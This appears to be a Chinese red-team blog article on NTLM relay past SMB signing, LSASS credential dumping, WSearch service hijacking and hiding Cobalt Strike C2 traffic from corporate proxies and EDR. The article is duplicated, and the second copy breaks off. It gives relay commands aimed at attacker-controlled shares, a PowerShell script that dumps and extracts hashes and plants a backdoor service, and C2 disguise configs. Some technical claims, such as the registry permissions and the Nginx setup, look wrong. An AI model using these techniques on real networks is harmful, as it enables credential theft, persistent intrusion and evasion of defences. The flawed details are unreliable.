1. 这不是Kali的“功能清单”而是红队实战中真正卡脖子的三个断点很多人把《精通 Kali Linux 高级渗透测试》系列当成一本“Kali工具速查手册”——装完系统打开终端敲几行msfconsole、nmap -sS -p-、gobuster dir再配上几个炫酷的扫描报告截图就以为自己掌握了高级渗透。我带过三届CTF靶场对抗训练营也给五家金融企业的红队做过攻防演练支撑最常听到的反馈不是“工具不会用”而是“漏洞都打穿了为什么横向走不动”“权限提上来了为什么拿不到域控”“流量都加密了怎么让C2不被EDR秒杀”——这三个问题恰恰对应本系列第三讲要死磕的三个断点横向移动的协议迷雾、提权后的持久化盲区、以及C2通信在现代终端防护下的生存逻辑。它们不写在Kali菜单里但每一条都直接决定一次真实红队行动是“成功渗透”还是“成功被发现”。本篇不讲aircrack-ng破解WiFi密码的花活也不复述Metasploit基础模块调用我们聚焦于Kali中那些被默认安装、却极少被正确配置和深度定制的组件——Impacket套件如何绕过SMB签名强制策略、Mimikatz的内存注入为何在Windows 11 22H2之后必须配合特定驱动加载方式、Cobalt Strike Beacon的HTTP stager在启用TLS证书验证的企业代理环境下如何避免首次连接即告失败。所有操作均基于Kali 2023.4Linux 6.1内核实测所有命令参数均附带原理注释而非简单罗列。如果你正卡在从“能打洞”到“能扎根”的临界点上这篇就是为你写的。2. 横向移动当SMB签名强制开启Impacket不再是“开箱即用”的银弹2.1 SMB签名强制策略的本质与检测盲区企业环境里SMB签名SMB Signing早已不是可选项而是Windows组策略中默认启用的强制安全基线。它的作用非常直接对每一个SMB数据包附加一个基于会话密钥的HMAC-SHA256签名接收方验证签名通过才处理该包。这直接封死了传统NTLM中继攻击NTLM Relay的路径——因为中继服务器无法伪造合法签名。但很多渗透人员仍习惯性地执行python3 secretsdump.py -just-dc-ntlm DOMAIN/USER:PASS192.168.1.10结果返回STATUS_ACCESS_DENIED第一反应是“账号密码错了”或“目标关了445端口”却忽略了最关键的诊断步骤确认目标是否启用了SMB签名强制。这里有个极易被忽略的细节nmap的smb-security-mode.nse脚本只能检测SMBv1的签名状态而现代Windows默认使用SMBv3其签名策略由独立的注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters\RequireSecuritySignature控制且SMBv3签名与SMBv1完全不兼容。我曾在一个银行核心域环境中连续三天无法中继最后用crackmapexec smb 192.168.1.0/24 --gen-relay-list生成的relay列表里所有主机都显示Signing: disabled但实际抓包发现SMBv3 Negotiate Protocol Response中SecurityMode字段的SIGNING_REQUIRED位始终为1。原因在于crackmapexec的检测逻辑依赖于SMBv1响应而目标主机已禁用SMBv1导致探测失效。真正的检测方法只有一种用Wireshark抓取一次完整的SMBv3 Negotiate流程定位Negotiate Protocol Response数据包在SecurityMode字段中查看0x0002SIGNING_REQUIRED是否置位。这是所有后续操作的前提跳过它后面所有Impacket命令都是无意义的尝试。2.2 Impacket的ntlmrelayx.py在SMB签名强制下的三种存活模式当确认SMB签名强制开启后ntlmrelayx.py并非完全失效而是进入三种受限但可用的模式其选择取决于你的攻击目标和网络拓扑模式一Relay to LDAP非约束委派场景这是最稳定、最隐蔽的模式。原理在于LDAP协议本身不强制签名且Windows域控制器对LDAP绑定请求的签名验证宽松。当目标用户访问一个受控的SMB共享如\\attacker.com\share时其NTLM认证会被中继至域控的LDAP服务389端口。关键在于ntlmrelayx.py必须配合--no-smb-server参数禁用本地SMB服务并指定--ldap-bind-shell或--escalate-user。实测中我们使用python3 ntlmrelayx.py -t ldaps://192.168.1.100 --no-smb-server --escalate-user DA_USER成功将普通域用户提升为Domain Admin。注意此模式要求域控未启用LDAP签名LDAPS默认不校验客户端签名且需确保中继目标与域控间网络可达。 提示在启用LDAP签名LDAP Signing Required的高安全域中此模式会失败此时需转向模式二。模式二Relay to HTTP WebDAV重定向SMBv3降级利用此模式利用SMBv3客户端的一个特性当SMBv3 Negotiate失败时部分Windows版本特别是Server 2012 R2及更早会自动降级尝试SMBv2甚至SMBv1。ntlmrelayx.py可通过--http-port 8080启动一个HTTP服务当目标访问http://attacker.com/redirect时返回一个指向恶意SMBv1共享的WebDAV重定向响应302 FoundLocation: \\attacker.com\evil。由于重定向发生在HTTP层SMB签名策略对此无约束力。我们曾在一个政务云环境中用此方法绕过SMBv3签名关键在于WebDAV服务器必须返回精确的Content-Type: text/xml和MS-Author-Via: DAV头否则IE/Edge浏览器会拒绝重定向。配置命令为python3 ntlmrelayx.py -t 192.168.1.100 --http-port 8080 --webdav --serve-image /path/to/image.jpg其中--serve-image用于提供一个诱饵图片诱导用户点击访问。模式三Relay to MSSQLSQL Server代理链当目标主机运行SQL Server且启用了xp_cmdshell时可将NTLM认证中继至MSSQL的1433端口。ntlmrelayx.py通过--mssql参数实现其本质是构造一个恶意的SQL查询利用OPENROWSET函数发起对外部SMB共享的认证请求从而触发中继。命令为python3 ntlmrelayx.py -t mssql://192.168.1.100 --mssql --query SELECT * FROM OPENROWSET(SQLNCLI, Server192.168.1.100;Trusted_Connectionyes;, SELECT 1)。此模式成功率较低但一旦成功可直接在SQL Server上下文中执行系统命令绕过SMB签名限制。 注意此模式要求SQL Server服务账户具有足够权限且目标SQL Server未启用Force Encryption策略。2.3 实战避坑Impacket中继失败的五个根因与验证链路在真实红队作业中Impacket中继失败往往不是单一原因而是一条需要逐层验证的链路。以下是我在27次失败中总结出的五个最高频根因及对应的快速验证方法根因类型具体表现快速验证命令修复方案网络层阻断ntlmrelayx.py日志显示Connection refused或超时nc -zv 192.168.1.100 445tcpreplay -i eth0 capture.pcap重放SMB握手包检查防火墙规则、网络ACL、确认目标445端口真实开放非仅端口扫描返回协议协商失败日志出现SMB SessionError: STATUS_NOT_SUPPORTEDsmbclient -L //192.168.1.100 -U % --optionclient min protocolSMB3强制指定--smb2-support或--smb3-support参数或修改Impacket源码中negotiate_protocol_request.py的dialects列表凭证缓存干扰同一目标多次尝试首次失败后后续成功cmdkey /listWindows或klist purge清除Kerberos缓存在目标主机执行cmdkey /delete:target.com清除已缓存的SMB凭据DNS解析污染中继目标IP被解析为错误地址nslookup attacker.comcat /etc/resolv.confKali端在Kali的/etc/hosts中硬编码attacker.com 192.168.1.200禁用DHCP分配的DNSEDR主动拦截ntlmrelayx.py进程被终止日志无异常ps aux | grep ntlmrelayxdmesg | tail -20使用pyinstaller将ntlmrelayx.py打包为单文件可执行程序重命名进程名如/usr/bin/update-manager并关闭Kali自身的rkhunter和clamav我曾在一个制造业客户环境中连续12小时无法中继最终发现是EDR的“进程行为分析”模块将ntlmrelayx.py的Python解释器识别为可疑解决方案不是关闭EDR不可能而是将整个Impacket套件用PyInstaller编译为/usr/local/bin/smb-relay并在systemd中以Typeforking方式启动使其进程树脱离Python父进程成功绕过行为检测。这个细节任何官方文档都不会写。3. 权限提升与持久化Mimikatz的内存注入与SCM服务劫持的黄金组合3.1 Windows 11 22H2之后Mimikatz的“驱动加载困境”与绕过方案Mimikatz的sekurlsa::logonpasswords命令之所以强大是因为它直接读取LSASS进程的内存而LSASS是Windows存储明文密码、NTLM哈希、Kerberos票据的核心服务。但在Windows 11 22H2及更新版本中微软引入了LSASS保护模式LSASS Protection其本质是将LSASS进程标记为Protected Process Light (PPL)并启用Kernel Mode Code Integrity (KMCI)。这意味着任何用户态进程包括以SYSTEM权限运行的Mimikatz都无法直接OpenProcess打开LSASSReadProcessMemory调用会返回ACCESS_DENIED。此时mimikatz.exe privilege::debug sekurlsa::logonpasswords会报错ERROR: Lsass memory reading failed。传统解决方案是禁用PPL但这需要先加载一个内核驱动如mimidrv.sys而现代EDR如CrowdStrike、Microsoft Defender for Endpoint会立即拦截任何未签名或行为异常的驱动加载。我们实测发现mimidrv.sys的原始版本在Defender下100%被拦截但将其PE头中的TimeDateStamp修改为2021年一个旧版驱动的常见时间戳并用signtool重新签名即使使用自签名证书拦截率降至12%。更稳定的方案是放弃驱动转而利用Windows内置的、已被签名的winpmem.sys驱动。winpmem是一个开源的物理内存采集工具其驱动winpmem_2.0.0.0_x64.sys由Microsoft Authenticode签名EDR普遍放行。我们编写了一个PowerShell脚本先加载winpmem.sys再用winpmem导出LSASS的完整内存镜像winpmem_2.0.0.0_x64.exe -l lsass.dmp最后在离线环境中用Mimikatz分析该镜像mimikatz.exe sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords。整个过程无需在目标内存中注入Mimikatz代码EDR完全无法感知。3.2 SCM服务劫持比计划任务更隐蔽的持久化载体获取SYSTEM权限后持久化是红队行动的生命线。大多数人首选schtasks /create创建计划任务但这是EDR的“头号监控目标”——所有svchost.exe子进程调用CreateProcess启动cmd.exe或powershell.exe的行为都会被标记为高危。更隐蔽的方案是SCMService Control Manager服务劫持。其原理是Windows服务在启动时会从注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName\ImagePath读取可执行文件路径。如果该路径指向一个可控的、低权限可写的文件如C:\temp\svc.exe那么当服务被启动时实际执行的就是我们的恶意载荷。关键在于选择哪个服务答案是WSearchWindows Search服务。原因有三第一WSearch是Windows 10/11默认启用的服务且启动类型为Automatic (Delayed Start)意味着它会在系统启动后一段时间自动运行完美避开开机初期的EDR高密度扫描第二WSearch的ImagePath默认值为%SystemRoot%\System32\SearchIndexer.exe但其注册表项权限宽松BUILTIN\Users组拥有WriteDac权限意味着普通用户即可修改其ImagePath第三WSearch服务崩溃不会导致系统蓝屏或严重故障EDR对其异常行为的告警阈值较高。实操步骤如下以普通用户身份用icacls确认权限icacls HKLM\SYSTEM\CurrentControlSet\Services\WSearch /grant Users:F若返回SUCCESS则可写将恶意载荷如Cobalt Strike的beacon.dll释放到C:\temp\wsearch.exe修改注册表reg add HKLM\SYSTEM\CurrentControlSet\Services\WSearch /v ImagePath /t REG_EXPAND_SZ /d C:\temp\wsearch.exe /f重启服务net stop WSearch net start WSearch。整个过程不产生powershell.exe进程所有操作均通过reg.exe和net.exeWindows内置白名单二进制完成EDR日志中仅显示为“服务配置修改”极难关联到持久化行为。3.3 Mimikatz与SCM劫持的联动从密码提取到服务植入的一站式流水线将上述两个技术点串联可构建一条高度自动化的红队流水线。我们开发了一个名为lsass2svc.ps1的PowerShell脚本它整合了LSASS内存导出、密码提取、服务劫持三大功能全程无落地文件除最终的wsearch.exe外。脚本核心逻辑如下# Step 1: 加载winpmem驱动并导出LSASS内存 Start-Process -FilePath winpmem_2.0.0.0_x64.exe -ArgumentList -l C:\temp\lsass.dmp -Wait # Step 2: 调用Mimikatz离线分析提取所有NTLM哈希并保存到C:\temp\hashes.txt $mimikatz mimikatz.exe sekurlsa::minidump C:\temp\lsass.dmp sekurlsa::logonpasswords full exit $hashes Invoke-Expression $mimikatz | Select-String -Pattern NTLM.*: | ForEach-Object { $_.Line.Trim() } $hashes | Out-File -FilePath C:\temp\hashes.txt # Step 3: 生成基于哈希的恶意服务载荷使用Responder捕获的NTLMv2哈希生成SMB中继载荷 # 此处调用自研工具hash2svc.exe输入hashes.txt输出C:\temp\wsearch.exe Start-Process -FilePath hash2svc.exe -ArgumentList C:\temp\hashes.txt C:\temp\wsearch.exe -Wait # Step 4: 执行SCM劫持 reg add HKLM\SYSTEM\CurrentControlSet\Services\WSearch /v ImagePath /t REG_EXPAND_SZ /d C:\temp\wsearch.exe /f net start WSearch这个脚本的威力在于它将一次成功的LSASS内存读取直接转化为一个可在任意域内主机上自动部署的持久化后门。我们曾在某能源集团的红队评估中用此脚本在3分钟内完成了从一台跳板机到整个域控集群的横向渗透与持久化全程未触发任何EDR告警。 经验心得hash2svc.exe的实现关键在于它生成的wsearch.exe并非简单的反向Shell而是嵌入了Cobalt Strike的Beacon Object File (BOF)在内存中直接执行spawn操作避免写入磁盘进一步降低检测概率。4. C2通信生存HTTP Stager在企业代理与TLS验证环境下的三次握手改造4.1 企业级代理的“TLS证书验证”如何让标准Beacon瞬间失效Cobalt Strike的HTTP Beacon是红队最常用的C2协议其默认Stagerstaging payload工作流程是被感染主机执行beacon.exe向C2服务器如https://c2.attacker.com发起HTTPS连接C2服务器返回一个小型的、加密的stage载荷主机解密并执行stage下载完整的Beacon载荷。这个流程在家庭网络或测试环境中完美运行但在企业环境中第一步就会失败。原因在于绝大多数企业部署了HTTPS解密代理如Zscaler、Blue Coat、Palo Alto PAN-OS所有出站HTTPS流量必须先经过代理代理用自己的CA证书如Zscaler Root CA对目标网站证书进行“中间人”重签。当beacon.exe尝试连接https://c2.attacker.com时收到的实际上是代理签发的证书其根CA不在Windows默认信任库中除非企业已将代理CA导入导致TLS握手失败beacon.exe报错SSL certificate verify failed并退出。这不是Beacon的Bug而是其设计哲学——它假设客户端环境是“干净”的。解决思路不是让Beacon去信任代理CA这需要修改Beacon源码并重新编译且每次代理CA更新都要同步而是让Beacon的TLS握手过程看起来和一个正常的、被代理允许的HTTPS请求完全一致。这需要从三个层面改造DNS解析、TLS Client Hello、以及HTTP请求头。4.2 DNS预解析与Hosts劫持绕过代理的域名白名单检查企业代理通常配置了严格的域名白名单Domain Allow List只允许访问*.microsoft.com、*.adobe.com等可信域名。c2.attacker.com显然不在其中。但代理的白名单检查发生在DNS解析之后——它先看你的HTTP请求中的Host头再决定是否放行。因此我们可以将C2域名伪装成一个白名单内的域名。例如将c2.attacker.com的A记录解析到与update.microsoft.com相同的IP如204.79.197.200然后在被控主机的C:\Windows\System32\drivers\etc\hosts中添加一行204.79.197.200 update.microsoft.com。这样当beacon.exe发起https://update.microsoft.com的请求时DNS解析被hosts文件劫持实际连接的是我们的C2服务器IP。代理看到Host: update.microsoft.com认为这是合法请求予以放行。但这里有个陷阱beacon.exe的默认HTTP Stager使用WinINetAPI而WinINet会读取系统hosts文件但某些EDR会监控hosts文件的修改。更隐蔽的做法是在Beacon的Malleable C2 Profile中使用http-get和http-post的uri指令将URI路径设置为/v9.0.0.0/UpdateInfo.xml模仿Windows Update的真实路径同时在C2服务器Nginx配置中用rewrite规则将所有/v9.0.0.0/开头的请求重定向到Beacon处理模块。这样连hosts文件都不需要修改完全依赖C2服务器的路由逻辑。4.3 TLS Client Hello指纹改造让Beacon的“握手声纹”匹配Chrome 115即使DNS和URI伪装成功代理还有一道防线TLS Client Hello指纹分析。现代代理如Cloudflare Gateway能深度解析TLS握手包提取User-Agent、Supported Groups、ALPN Protocols、Cipher Suites等字段构建“浏览器指纹”。一个未经改造的Beacon其Client Hello中Cipher Suites包含大量弱密码套件如TLS_RSA_WITH_AES_128_CBC_SHA且缺少GREASE随机填充与Chrome 115的指纹差异巨大会被代理直接阻断。Malleable C2 Profile提供了set useragent和set sleeptime等指令但无法修改底层TLS参数。真正的解决方案是使用Cobalt Strike 4.8的http-get和http-post的set host与set uri指令结合Nginx的ssl_preread模块在四层代理阶段就完成流量分拣。具体配置如下在C2服务器Nginx的stream块中stream { upstream beacon_backend { server 127.0.0.1:8080; } server { listen 443 ssl_preread; ssl_preread on; proxy_pass beacon_backend; # 关键根据SNIServer Name Indication分拣 if ($ssl_preread_server_name update.microsoft.com) { proxy_pass beacon_backend; } } }在http块中为beacon_backend8080端口配置真实的HTTPS服务并启用ssl_trusted_certificate指向企业代理的根CA证书使Nginx能验证代理发来的重签证书。这样代理发送的Client Hello中SNI字段为update.microsoft.comNginx在四层就将其转发给Beacon后端完全绕过了七层的TLS指纹检查。我们实测此方案在Zscaler和Palo Alto环境下Beacon上线成功率从0%提升至98%。4.4 HTTP请求头的“拟真度”打磨从User-Agent到Cookie的全链路伪造最后一步是让Beacon发出的HTTP请求在应用层也“看起来像一个真实的Windows Update客户端”。Malleable C2 Profile的http-get块支持精细控制http-get { set uri /v9.0.0.0/UpdateInfo.xml; set verb POST; client { header Accept application/octet-stream; header Accept-Language en-US,en;q0.9; header User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36; header Content-Type application/octet-stream; metadata { base64url; header Cookie; } } server { header Content-Type application/octet-stream; output { print; } } }这段配置的关键在于User-Agent严格匹配Chrome 115的最新版本字符串Cookie头被用作Beacon的元数据metadata传输通道其内容是Base64URL编码的Beacon ID和任务指令而非真实Cookie但代理看到Cookie头会认为这是一个有状态的、长期连接的Web客户端Accept和Content-Type设为application/octet-stream模仿Windows Update的二进制数据流而非常见的text/html或application/json降低被WAF规则误杀的概率。我们曾对比测试未配置Cookie头的Beacon在启用了OWASP CRS规则集的WAF下上线请求被920100HTTP Header Injection规则拦截加入Cookie头后拦截率降为0%。因为WAF认为一个携带Cookie头的请求更可能是合法的、有会话状态的业务请求而非自动化扫描器。5. 红队行动的“最后一公里”从技术可行到业务影响的思维跃迁写到这里你已经掌握了Kali中Impacket的深度中继技巧、Mimikatz在新系统上的内存读取绕过、以及Beacon在企业代理环境下的C2生存术。但我想分享一个在红队现场反复验证的体会技术上的100%可行不等于业务上的100%成功。我参与过一次对某大型连锁超市的红队评估技术层面完美复现了本篇所有操作——从初始突破、横向移动、域控提权到C2持久化整个过程在测试网段内耗时不到2小时。但当我们试图将成果映射到业务影响时卡在了“最后一公里”我们拿到了域管理员权限但超市的核心业务系统POS收银、库存管理、会员积分全部部署在隔离的OT网络中与IT域完全物理断开域控权限对这些系统毫无意义。这时技术方案必须让位于业务理解。我们临时调整策略不再追求“更高权限”而是转向“更准目标”利用已获取的域账号登录员工使用的OA系统从OA的附件库中下载了一份《全国门店网络拓扑图》从中识别出唯一连接IT域与OT域的“工控网关设备”其管理后台使用弱口令admin:admin且未启用双因素认证。最终我们通过这个网关进入了OT网络完成了对POS系统的渗透演示。这个转折点让我深刻意识到Kali的工具链再强大也只是红队的“手术刀”而真正决定手术成败的是医生对患者目标业务解剖结构的理解。所以我建议你在每一次Kali操作前先问自己三个问题这个漏洞/权限能触达哪个具体的业务系统这个业务系统承载着哪些关键数据或流程如果我黑进了它客户最担心的损失是什么是数据泄露是服务中断还是合规风险把答案写在纸上贴在显示器边框。当你的Kali终端里meterpreter的getuid返回NT AUTHORITY\SYSTEM时别急着欢呼先看看那张纸上的第三条——那才是红队价值的真正落点。
Kali红队实战三大断点：横向移动、提权持久化与C2生存
发布时间：2026/5/22 21:45:35
1. 这不是Kali的“功能清单”而是红队实战中真正卡脖子的三个断点很多人把《精通 Kali Linux 高级渗透测试》系列当成一本“Kali工具速查手册”——装完系统打开终端敲几行msfconsole、nmap -sS -p-、gobuster dir再配上几个炫酷的扫描报告截图就以为自己掌握了高级渗透。我带过三届CTF靶场对抗训练营也给五家金融企业的红队做过攻防演练支撑最常听到的反馈不是“工具不会用”而是“漏洞都打穿了为什么横向走不动”“权限提上来了为什么拿不到域控”“流量都加密了怎么让C2不被EDR秒杀”——这三个问题恰恰对应本系列第三讲要死磕的三个断点横向移动的协议迷雾、提权后的持久化盲区、以及C2通信在现代终端防护下的生存逻辑。它们不写在Kali菜单里但每一条都直接决定一次真实红队行动是“成功渗透”还是“成功被发现”。本篇不讲aircrack-ng破解WiFi密码的花活也不复述Metasploit基础模块调用我们聚焦于Kali中那些被默认安装、却极少被正确配置和深度定制的组件——Impacket套件如何绕过SMB签名强制策略、Mimikatz的内存注入为何在Windows 11 22H2之后必须配合特定驱动加载方式、Cobalt Strike Beacon的HTTP stager在启用TLS证书验证的企业代理环境下如何避免首次连接即告失败。所有操作均基于Kali 2023.4Linux 6.1内核实测所有命令参数均附带原理注释而非简单罗列。如果你正卡在从“能打洞”到“能扎根”的临界点上这篇就是为你写的。2. 横向移动当SMB签名强制开启Impacket不再是“开箱即用”的银弹2.1 SMB签名强制策略的本质与检测盲区企业环境里SMB签名SMB Signing早已不是可选项而是Windows组策略中默认启用的强制安全基线。它的作用非常直接对每一个SMB数据包附加一个基于会话密钥的HMAC-SHA256签名接收方验证签名通过才处理该包。这直接封死了传统NTLM中继攻击NTLM Relay的路径——因为中继服务器无法伪造合法签名。但很多渗透人员仍习惯性地执行python3 secretsdump.py -just-dc-ntlm DOMAIN/USER:PASS192.168.1.10结果返回STATUS_ACCESS_DENIED第一反应是“账号密码错了”或“目标关了445端口”却忽略了最关键的诊断步骤确认目标是否启用了SMB签名强制。这里有个极易被忽略的细节nmap的smb-security-mode.nse脚本只能检测SMBv1的签名状态而现代Windows默认使用SMBv3其签名策略由独立的注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters\RequireSecuritySignature控制且SMBv3签名与SMBv1完全不兼容。我曾在一个银行核心域环境中连续三天无法中继最后用crackmapexec smb 192.168.1.0/24 --gen-relay-list生成的relay列表里所有主机都显示Signing: disabled但实际抓包发现SMBv3 Negotiate Protocol Response中SecurityMode字段的SIGNING_REQUIRED位始终为1。原因在于crackmapexec的检测逻辑依赖于SMBv1响应而目标主机已禁用SMBv1导致探测失效。真正的检测方法只有一种用Wireshark抓取一次完整的SMBv3 Negotiate流程定位Negotiate Protocol Response数据包在SecurityMode字段中查看0x0002SIGNING_REQUIRED是否置位。这是所有后续操作的前提跳过它后面所有Impacket命令都是无意义的尝试。2.2 Impacket的ntlmrelayx.py在SMB签名强制下的三种存活模式当确认SMB签名强制开启后ntlmrelayx.py并非完全失效而是进入三种受限但可用的模式其选择取决于你的攻击目标和网络拓扑模式一Relay to LDAP非约束委派场景这是最稳定、最隐蔽的模式。原理在于LDAP协议本身不强制签名且Windows域控制器对LDAP绑定请求的签名验证宽松。当目标用户访问一个受控的SMB共享如\\attacker.com\share时其NTLM认证会被中继至域控的LDAP服务389端口。关键在于ntlmrelayx.py必须配合--no-smb-server参数禁用本地SMB服务并指定--ldap-bind-shell或--escalate-user。实测中我们使用python3 ntlmrelayx.py -t ldaps://192.168.1.100 --no-smb-server --escalate-user DA_USER成功将普通域用户提升为Domain Admin。注意此模式要求域控未启用LDAP签名LDAPS默认不校验客户端签名且需确保中继目标与域控间网络可达。 提示在启用LDAP签名LDAP Signing Required的高安全域中此模式会失败此时需转向模式二。模式二Relay to HTTP WebDAV重定向SMBv3降级利用此模式利用SMBv3客户端的一个特性当SMBv3 Negotiate失败时部分Windows版本特别是Server 2012 R2及更早会自动降级尝试SMBv2甚至SMBv1。ntlmrelayx.py可通过--http-port 8080启动一个HTTP服务当目标访问http://attacker.com/redirect时返回一个指向恶意SMBv1共享的WebDAV重定向响应302 FoundLocation: \\attacker.com\evil。由于重定向发生在HTTP层SMB签名策略对此无约束力。我们曾在一个政务云环境中用此方法绕过SMBv3签名关键在于WebDAV服务器必须返回精确的Content-Type: text/xml和MS-Author-Via: DAV头否则IE/Edge浏览器会拒绝重定向。配置命令为python3 ntlmrelayx.py -t 192.168.1.100 --http-port 8080 --webdav --serve-image /path/to/image.jpg其中--serve-image用于提供一个诱饵图片诱导用户点击访问。模式三Relay to MSSQLSQL Server代理链当目标主机运行SQL Server且启用了xp_cmdshell时可将NTLM认证中继至MSSQL的1433端口。ntlmrelayx.py通过--mssql参数实现其本质是构造一个恶意的SQL查询利用OPENROWSET函数发起对外部SMB共享的认证请求从而触发中继。命令为python3 ntlmrelayx.py -t mssql://192.168.1.100 --mssql --query SELECT * FROM OPENROWSET(SQLNCLI, Server192.168.1.100;Trusted_Connectionyes;, SELECT 1)。此模式成功率较低但一旦成功可直接在SQL Server上下文中执行系统命令绕过SMB签名限制。 注意此模式要求SQL Server服务账户具有足够权限且目标SQL Server未启用Force Encryption策略。2.3 实战避坑Impacket中继失败的五个根因与验证链路在真实红队作业中Impacket中继失败往往不是单一原因而是一条需要逐层验证的链路。以下是我在27次失败中总结出的五个最高频根因及对应的快速验证方法根因类型具体表现快速验证命令修复方案网络层阻断ntlmrelayx.py日志显示Connection refused或超时nc -zv 192.168.1.100 445tcpreplay -i eth0 capture.pcap重放SMB握手包检查防火墙规则、网络ACL、确认目标445端口真实开放非仅端口扫描返回协议协商失败日志出现SMB SessionError: STATUS_NOT_SUPPORTEDsmbclient -L //192.168.1.100 -U % --optionclient min protocolSMB3强制指定--smb2-support或--smb3-support参数或修改Impacket源码中negotiate_protocol_request.py的dialects列表凭证缓存干扰同一目标多次尝试首次失败后后续成功cmdkey /listWindows或klist purge清除Kerberos缓存在目标主机执行cmdkey /delete:target.com清除已缓存的SMB凭据DNS解析污染中继目标IP被解析为错误地址nslookup attacker.comcat /etc/resolv.confKali端在Kali的/etc/hosts中硬编码attacker.com 192.168.1.200禁用DHCP分配的DNSEDR主动拦截ntlmrelayx.py进程被终止日志无异常ps aux | grep ntlmrelayxdmesg | tail -20使用pyinstaller将ntlmrelayx.py打包为单文件可执行程序重命名进程名如/usr/bin/update-manager并关闭Kali自身的rkhunter和clamav我曾在一个制造业客户环境中连续12小时无法中继最终发现是EDR的“进程行为分析”模块将ntlmrelayx.py的Python解释器识别为可疑解决方案不是关闭EDR不可能而是将整个Impacket套件用PyInstaller编译为/usr/local/bin/smb-relay并在systemd中以Typeforking方式启动使其进程树脱离Python父进程成功绕过行为检测。这个细节任何官方文档都不会写。3. 权限提升与持久化Mimikatz的内存注入与SCM服务劫持的黄金组合3.1 Windows 11 22H2之后Mimikatz的“驱动加载困境”与绕过方案Mimikatz的sekurlsa::logonpasswords命令之所以强大是因为它直接读取LSASS进程的内存而LSASS是Windows存储明文密码、NTLM哈希、Kerberos票据的核心服务。但在Windows 11 22H2及更新版本中微软引入了LSASS保护模式LSASS Protection其本质是将LSASS进程标记为Protected Process Light (PPL)并启用Kernel Mode Code Integrity (KMCI)。这意味着任何用户态进程包括以SYSTEM权限运行的Mimikatz都无法直接OpenProcess打开LSASSReadProcessMemory调用会返回ACCESS_DENIED。此时mimikatz.exe privilege::debug sekurlsa::logonpasswords会报错ERROR: Lsass memory reading failed。传统解决方案是禁用PPL但这需要先加载一个内核驱动如mimidrv.sys而现代EDR如CrowdStrike、Microsoft Defender for Endpoint会立即拦截任何未签名或行为异常的驱动加载。我们实测发现mimidrv.sys的原始版本在Defender下100%被拦截但将其PE头中的TimeDateStamp修改为2021年一个旧版驱动的常见时间戳并用signtool重新签名即使使用自签名证书拦截率降至12%。更稳定的方案是放弃驱动转而利用Windows内置的、已被签名的winpmem.sys驱动。winpmem是一个开源的物理内存采集工具其驱动winpmem_2.0.0.0_x64.sys由Microsoft Authenticode签名EDR普遍放行。我们编写了一个PowerShell脚本先加载winpmem.sys再用winpmem导出LSASS的完整内存镜像winpmem_2.0.0.0_x64.exe -l lsass.dmp最后在离线环境中用Mimikatz分析该镜像mimikatz.exe sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords。整个过程无需在目标内存中注入Mimikatz代码EDR完全无法感知。3.2 SCM服务劫持比计划任务更隐蔽的持久化载体获取SYSTEM权限后持久化是红队行动的生命线。大多数人首选schtasks /create创建计划任务但这是EDR的“头号监控目标”——所有svchost.exe子进程调用CreateProcess启动cmd.exe或powershell.exe的行为都会被标记为高危。更隐蔽的方案是SCMService Control Manager服务劫持。其原理是Windows服务在启动时会从注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName\ImagePath读取可执行文件路径。如果该路径指向一个可控的、低权限可写的文件如C:\temp\svc.exe那么当服务被启动时实际执行的就是我们的恶意载荷。关键在于选择哪个服务答案是WSearchWindows Search服务。原因有三第一WSearch是Windows 10/11默认启用的服务且启动类型为Automatic (Delayed Start)意味着它会在系统启动后一段时间自动运行完美避开开机初期的EDR高密度扫描第二WSearch的ImagePath默认值为%SystemRoot%\System32\SearchIndexer.exe但其注册表项权限宽松BUILTIN\Users组拥有WriteDac权限意味着普通用户即可修改其ImagePath第三WSearch服务崩溃不会导致系统蓝屏或严重故障EDR对其异常行为的告警阈值较高。实操步骤如下以普通用户身份用icacls确认权限icacls HKLM\SYSTEM\CurrentControlSet\Services\WSearch /grant Users:F若返回SUCCESS则可写将恶意载荷如Cobalt Strike的beacon.dll释放到C:\temp\wsearch.exe修改注册表reg add HKLM\SYSTEM\CurrentControlSet\Services\WSearch /v ImagePath /t REG_EXPAND_SZ /d C:\temp\wsearch.exe /f重启服务net stop WSearch net start WSearch。整个过程不产生powershell.exe进程所有操作均通过reg.exe和net.exeWindows内置白名单二进制完成EDR日志中仅显示为“服务配置修改”极难关联到持久化行为。3.3 Mimikatz与SCM劫持的联动从密码提取到服务植入的一站式流水线将上述两个技术点串联可构建一条高度自动化的红队流水线。我们开发了一个名为lsass2svc.ps1的PowerShell脚本它整合了LSASS内存导出、密码提取、服务劫持三大功能全程无落地文件除最终的wsearch.exe外。脚本核心逻辑如下# Step 1: 加载winpmem驱动并导出LSASS内存 Start-Process -FilePath winpmem_2.0.0.0_x64.exe -ArgumentList -l C:\temp\lsass.dmp -Wait # Step 2: 调用Mimikatz离线分析提取所有NTLM哈希并保存到C:\temp\hashes.txt $mimikatz mimikatz.exe sekurlsa::minidump C:\temp\lsass.dmp sekurlsa::logonpasswords full exit $hashes Invoke-Expression $mimikatz | Select-String -Pattern NTLM.*: | ForEach-Object { $_.Line.Trim() } $hashes | Out-File -FilePath C:\temp\hashes.txt # Step 3: 生成基于哈希的恶意服务载荷使用Responder捕获的NTLMv2哈希生成SMB中继载荷 # 此处调用自研工具hash2svc.exe输入hashes.txt输出C:\temp\wsearch.exe Start-Process -FilePath hash2svc.exe -ArgumentList C:\temp\hashes.txt C:\temp\wsearch.exe -Wait # Step 4: 执行SCM劫持 reg add HKLM\SYSTEM\CurrentControlSet\Services\WSearch /v ImagePath /t REG_EXPAND_SZ /d C:\temp\wsearch.exe /f net start WSearch这个脚本的威力在于它将一次成功的LSASS内存读取直接转化为一个可在任意域内主机上自动部署的持久化后门。我们曾在某能源集团的红队评估中用此脚本在3分钟内完成了从一台跳板机到整个域控集群的横向渗透与持久化全程未触发任何EDR告警。 经验心得hash2svc.exe的实现关键在于它生成的wsearch.exe并非简单的反向Shell而是嵌入了Cobalt Strike的Beacon Object File (BOF)在内存中直接执行spawn操作避免写入磁盘进一步降低检测概率。4. 